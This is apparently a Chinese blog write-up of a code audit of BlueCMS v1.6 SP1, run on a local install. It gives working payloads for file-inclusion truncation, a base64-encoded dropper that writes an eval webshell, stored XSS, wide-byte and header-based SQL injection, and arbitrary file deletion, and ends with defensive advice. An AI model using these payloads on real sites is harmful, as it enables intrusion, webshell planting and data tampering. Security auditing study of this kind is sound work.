bluecms v1.6 sp1 代码审计学习

前言

正式开始代码审计的学习,拓宽自己的知识面。代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习。

这里参考了一些前辈,师傅的复现经验和bluecms审计的心得

安装

install.php

搭建完成

seay自动审计

文件包含漏洞

/user.php

742-751行

 elseif ($act == ‘pay‘){
     include ‘data/pay.cache.php‘;
     $price = $_POST[‘price‘];
     $id = $_POST[‘id‘];
     $name = $_POST[‘name‘];
     if (empty($_POST[‘pay‘])) {
         showmsg(‘对不起,您没有选择支付方式‘);
     }
     include ‘include/payment/‘.$_POST[‘pay‘]."/index.php";
 }

这里直接包含post

这里我们先注册一个用户

账号test 密码test123,进入user.php页面

追踪下act变量

act对应的一些操作模式,比如登陆,删除,修改个人资料,对应的模式。这里购买一张便民卡,然后选择支付。抓包

这里我们可以通过post传参pay控制文件包含的路径,但是后面拼接了/index.php

有两种方法可以截断:

方法1:

绕过方法1:%00 截断

  条件:magic_quotes_gpc = Off PHP 版本<5.3.4

  测试:?filename=../../../../../../boot.ini%00

方法2:

绕过方法2:路径长度截断

  条件:windows下目录路径最大长度为256字节,超出部分将丢弃;

       Linux下目录最大长度为4096字节,超出长度将丢弃

  测试:?filename=text.txt././././.  或?filename=test.txt.....

这里可以用pay=../../phpi.txt.........(省略.)绕过,可以在windows本地尝试创建一个test.txt...........(省略.),可以发现最后文件名还是test.txt

这里可以利用windows的路径特性来截断=>Windows的路径不能超过256个字符

参考=>https://www.cnblogs.com/appear001/p/11149996.html

并且这里为了验证,我在根目录放置了phpi.txt文件

<?php phpinfo();

发现并没有包含,截断失败

通过joychou师傅的文章发现也是有版本限制的。

phpstudy修改成5.3.29继续尝试=>仍然无法利用。继续降低版本至5.2.17

这时候发现可以成功包含。

个人资料中可以上传个人头像

查看下路径

文件包含图片马

看师傅们的文章中还有一种方法就是包含重新写入一个马

<?php @fputs(fopen(base64_decode(‘bG9zdC5waHA=‘),w),base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg==‘));?>

因为这样包含的shell,用菜刀或者蚁剑管理起来,参数很麻烦,不如直接包含写马的操作。学习到了。

XSS漏洞

发布新闻

黑盒测试,个人资料中,有一处本地新闻,可以发布新闻和管理新闻。

但是这里不能选择新闻分类,我们用管理员进入/admin后台发布下栏目分类

查看新闻,发现没有弹框,编辑html元素查看,已经转义实体化了

通过 burp抓包再结合白盒审计

$title = !empty($_POST[‘title‘]) ? htmlspecialchars(trim($_POST[‘title‘])) : ‘‘;
     $color = !empty($_POST[‘color‘]) ? htmlspecialchars(trim($_POST[‘color‘])) : ‘‘;
     $cid = !empty($_POST[‘cid‘]) ? intval($_POST[‘cid‘]) : ‘‘;
     if(empty($cid)){
         showmsg(‘新闻分类不能为空‘);
     }
     $author = !empty($_POST[‘author‘]) ? htmlspecialchars(trim($_POST[‘author‘])) : $_SESSION[‘admin_name‘];
     $source = !empty($_POST[‘source‘]) ? htmlspecialchars(trim($_POST[‘source‘])) : ‘‘;
    $content = !empty($_POST[‘content‘]) ? filter_data($_POST[‘content‘]) : ‘‘;
    $descript = !empty($_POST[‘descript‘]) ? mb_substr($_POST[‘descript‘], 0, 90) : mb_substr(html2text($_POST[‘content‘]),0, 90);
     if(isset($_FILES[‘lit_pic‘][‘error‘]) && $_FILES[‘lit_pic‘][‘error‘] == 0){
        $lit_pic = $image->img_upload($_FILES[‘lit_pic‘],‘lit_pic‘);

发现title=>标题,color=>颜色,author=>作者,source=>来源,都使用了htmlspecialchars转义(第二个参数如果是默认的话,是不转义单引号的)

这里可以从content下手,也就是新闻内容。定位下filter_data函数

function filter_data($str)
{
    $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
    return $str;
}

过滤了script,iframe,frame,meta,link等

这里可以用a,img标签等绕过

这里必须要抓包,这里自动转义了下。修改为原来的

<a href=javascript:alert(1)>yunying</a>

点击链接,弹框。并且这是存储型的

再把payload修改成

<img src=1 onerror=alert(1)>

再去看了下评论功能是否存在

经过了转义。

用户注册

写完后去对了下很多师傅的审计记录,发现账户注册存在xss。

直接出入不存在过滤

$user_name = !empty($_POST[‘user_name‘]) ? trim($_POST[‘user_name‘]) : ‘‘;
$pwd = !empty($_POST[‘pwd‘]) ? trim($_POST[‘pwd‘]) : ‘‘;
$pwd1 = !empty($_POST[‘pwd1‘]) ? trim($_POST[‘pwd1‘]) : ‘‘;
$email = !empty($_POST[‘email‘]) ? trim($_POST[‘email‘]) : ‘‘;
$safecode = !empty($_POST[‘safecode‘]) ? trim($_POST[‘safecode‘]) : ‘‘;

这里用户名有长度限制,用邮箱打可以实现存储xss

SQL注入

ad_js.php

12-19行

$ad_id = !empty($_GET[‘ad_id‘]) ? trim($_GET[‘ad_id‘]) : ‘‘;
if(empty($ad_id))
{
    echo ‘Error!‘;
    exit();
}

$ad = $db->getone("SELECT * FROM ".table(‘ad‘)." WHERE ad_id =".$ad_id);

这里没有引号保护,直接带入,除了trim去掉两边空格,没有任何的过滤。

可以直接带入查询

$db跟踪,来自于包含的/include/common.inc.php

建立数据库连接的一句话

getone是mysql类的中的方法,简单的查询

而且在定义mysql类的mysq.class.php中

设置了GBK编码

并且有回显。输出的方式是这样的

输出的ad_content,看一下ad_content在哪里,对于end_time,可能赋值为exp_content字段,也可能是content,我们用phpmyadmin登陆查看

在第六列和第七列都插入注入数据

用户注册

看了下王叹之师傅的博客,发现用户注册的那里不仅可以xss,insert into也可以进行宽字节注入。

%df‘,1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

后台登陆

后台登陆也存在宽字节注入,在/admin/login.php中存在check_admin,检查是否是admin的函数

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table(‘admin‘)." WHERE admin_name=‘$name‘ and pwd = md5(‘$pwd‘)");
     if($row[‘num‘] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}

直接带入,但是包含了/admin/include/common.inc.php

if(!get_magic_quotes_gpc())
 {
     $_POST = deep_addslashes($_POST);
     $_GET = deep_addslashes($_GET);
     $_COOKIES = deep_addslashes($_COOKIES);
     $_REQUEST = deep_addslashes($_REQUEST);
 }

这里是经过转义的,而且开了GBK,就存在宽字节注入了。在/admin/login.php注入

当我输入如下payload

自动对‘进行了转义,更能证明了存在宽字节注入

正确payload:

留言板(XFF头注入)

/comment.php

我们全文追踪getip函数

发现有插入的数据,这里也跟上面的一样,在评论处comment.php存在插入ip到数据库。

再查看有没有调用online_ip的地方

/guest_book.php

guest_book.php是留言列表,而comment.php是发表新闻下的评论

这里就实验下guest_book.php

闭合 ‘ 和 )

还有一些没有过滤直接拼接的在admin页面,后台中。这里就不赘述了,可以看下王叹之师傅的博客。

任意文件删除

/user.php

if (!empty($_POST[‘face_pic1‘])){
        if (strpos($_POST[‘face_pic1‘], ‘http://‘) != false && strpos($_POST[‘face_pic1‘], ‘https://‘) != false){
           showmsg(‘只支持本站相对路径地址‘);
         }
        else{
           $face_pic = trim($_POST[‘face_pic1‘]);
        }
    }else{
        if(file_exists(BLUE_ROOT.$_POST[‘face_pic3‘])){
            @unlink(BLUE_ROOT.$_POST[‘face_pic3‘]);
        }
    }

face_pic1是用户头像,face_pic3是一个隐藏的表单值。调用unlink可以达到删除任意文件

比如删除robots.txt

抓包修改

在user.php页面继续查找unlink函数

 elseif ($act == ‘del_news‘) {
     if (empty($_GET[‘id‘])) {
         return false;
     }
     $news = $db->getone("SELECT user_id, lit_pic FROM ".table(‘article‘)." WHERE id=".intval($_GET[‘id‘]));
     if ($_SESSION[‘user_id‘] != $news[‘user_id‘]) {
         showmsg(‘对不起,您没有权限删除这条新闻‘, ‘user.php?act=news_manage‘);
     }
     $sql = "DELETE FROM ".table(‘article‘)." WHERE id=".intval($_GET[‘id‘]);
     $db->query($sql);
     if (file_exists(BLUE_ROOT.$news[‘lit_pic‘])) {
         @unlink(BLUE_ROOT.$news[‘list_pic‘]);
     }
     showmsg(‘删除一条本地新闻成功‘, ‘user.php?act=news_manage‘);

这里实验发现不可以,因为有查询数据库操作,删除的是根据数据库中保存的路径。

继续查看

发现act=do_info_edit中存在任意文件删除漏洞

不过需要绕过一些验证,exp如下:

已经把phpi.txt删除

在/admin/article中也可以看到一摸一样的操作,也是任意文件删除。

对于文件删除漏洞,这里根据https://www.anquanke.com/post/id/156850/给出一些建议

  1. 统一文件夹存放
  2. 数据库记录存储路径
  3. 对于入库记录进行严格的防注入和文件上传检测,采用白名单方式来检查后缀,黑名单过滤上跳等操作,严格做到数据库与文件同步
  4. 能用云存储就用,实在不能用在自己写
  5. 尽量少的使用文件删除功能

还有很多没有写出来的,这里就不一一列举了,用seay可以发现大量的漏洞提示,但是还是需要自己去一一验证。

说一下下一个cms怎么审计:
1:首先不能盲目,记住Web漏洞的本质:存在用户的输入
应重点关注有输入点的页面,再去文件里找相关代码,不断回溯看看代码中有没有可控变量,过滤是否严谨。
2:可以全局搜索一下危险函数,如:unlink,include,move_uploaded_file函数等
查找相关漏洞可以去找关键字,如sql注入:
全局搜索一下SELECT、UPDATE、INSERT、DELETE等关键字
看看是否有预编译后再插入数据库。
比如上传,可以搜索一下upload,看看他的过滤规则。
多总结,多反思,先审计完再看网上文章,看看别的师傅怎么审计的,不断借鉴。

-->https://www.cnblogs.com/wangtanzhi/p/12302978.html#autoid-0-2-0

原文地址:https://www.cnblogs.com/BOHB-yunying/p/12643510.html

时间: 2024-10-08 10:33:50

bluecms v1.6 sp1 代码审计学习的相关文章

Catfish(鲶鱼) Blog V1.3.15 代码审计

Catfish(鲶鱼) Blog V1.3.15 代码审计 1,前台存储型xss漏洞 漏洞点:application\index\controller\index.php 调用了filterJs函数对content 参数进行过滤. 继续跟进filterJs函数: 在/application/index/controller/Common.php文件中filterJs函数定义如下: protected function filterJs($str) { while(stripos($str,'<s

php代码审计学习之dvwa_sql

0x00 由于转了onenote行列,所以已经好久没有发表新的随笔了,但是想想还是非常有必要的,这几天开始学习php代码审计,所以先开始发这一些的随笔吧! 首先就先通过十大测试平台dvwa开始学习吧,先在这里带上参考的大牛链接,感谢分享 1.http://drops.wooyun.org/papers/483 2.http://www.lxway.com/86980986.htm   is_numeric 函数绕过 3.http://www.cnblogs.com/Safe3/archive/2

代码审计学习之反射型XSS

0x01 基础介绍 xss漏洞分类:一般来说分三种 反射型XSS 保存型XSS 基于DOM的XSS 今天先学习反射型xss:它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析.执行.它的特点是非持久化,必须用户点击带有特定参数的链接才能引起. 0x02 造成原因及利用 一般来说,许多漏洞造成的原因都是因为对用户的输入太信任造成的,没有进行严谨的过滤,通常在代码审计的过程中,审计获取用户输入的函数或者操作如存储等等 一.对变量直接输出 例如: <?

代码审计学习01-in_array() 函数缺陷

一.开始代码审计之旅 01 从今天起,学习代码审计了,这篇文章就叫代码审计01吧,题目来自 PHP SECURITY CALENDAR 2017 的第一题,结合 红日安全 写的文章,开始吧. 二.先看这道题目 1.题目名称:Wish List 2.in_array() 函数的作用 in_array() 函数的作用是判断第一参数是否存在第二个参数中,存在返回 true,不存在返回 false.需要注意的是,如果函数第三个参数为 true,则第一个参数必须还要和第二个参数同类型,函数才能返回 tru

PHP代码审计学习

原文:http://paper.tuisec.win/detail/1fa2683bd1ca79c 作者:June 这是一次分享准备.自己还没有总结这个的能力,这次就当个搬运工好了~~ 0x01 工具准备 PHPSTORM,不只是编程. 个人觉得只要能够提供全局搜索.单页搜索.函数跳转的编辑器就能够满足要求.一般在审计的时候,先找到一个入口点,配合代码和浏览器,一边下断点,一边打印变量,再在浏览器上观察反应. 自动化审计工具,食之无味,弃之可惜. 当然,我手边能用到的自动化审计工具就是能在网上找

[php审计实战篇]BlueCms v1.6 Union注入

非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/common.inc.php 跟踪这个php文件,这些文件都是包含的全局文件. 这个php文件还是先包含了几个全局文件. 最主要的是上图最下方的if判断: if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = dee

熊海cms v1.0 完全代码审计

很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 安装功能 0.1 检查是否存在锁文件 没问题,后面几项只有在程序未安装时进行 0.2 连接数据库,导入sql文件 0.3 将数据库连接信息写入配置文件* 代码执行```$dbhost = $_POST['dbhost'];$dbuser = $_POST['dbuser'];$dbpwd = $_

PHP反序列化漏洞代码审计—学习资料

1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字. 按个人理解就是: serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象. 当然从本质上来说,反序列化的数据本身是没有危害的,用户可控数据进行反序列化是存在危害的. B.PH

2020/1/27代码审计学习

审计涉及的超全局变量 1:全局变量 2:超全局变量 emmm都是一些常见的变量,过了一遍算是巩固一下吧. 原文地址:https://www.cnblogs.com/wangtanzhi/p/12235484.html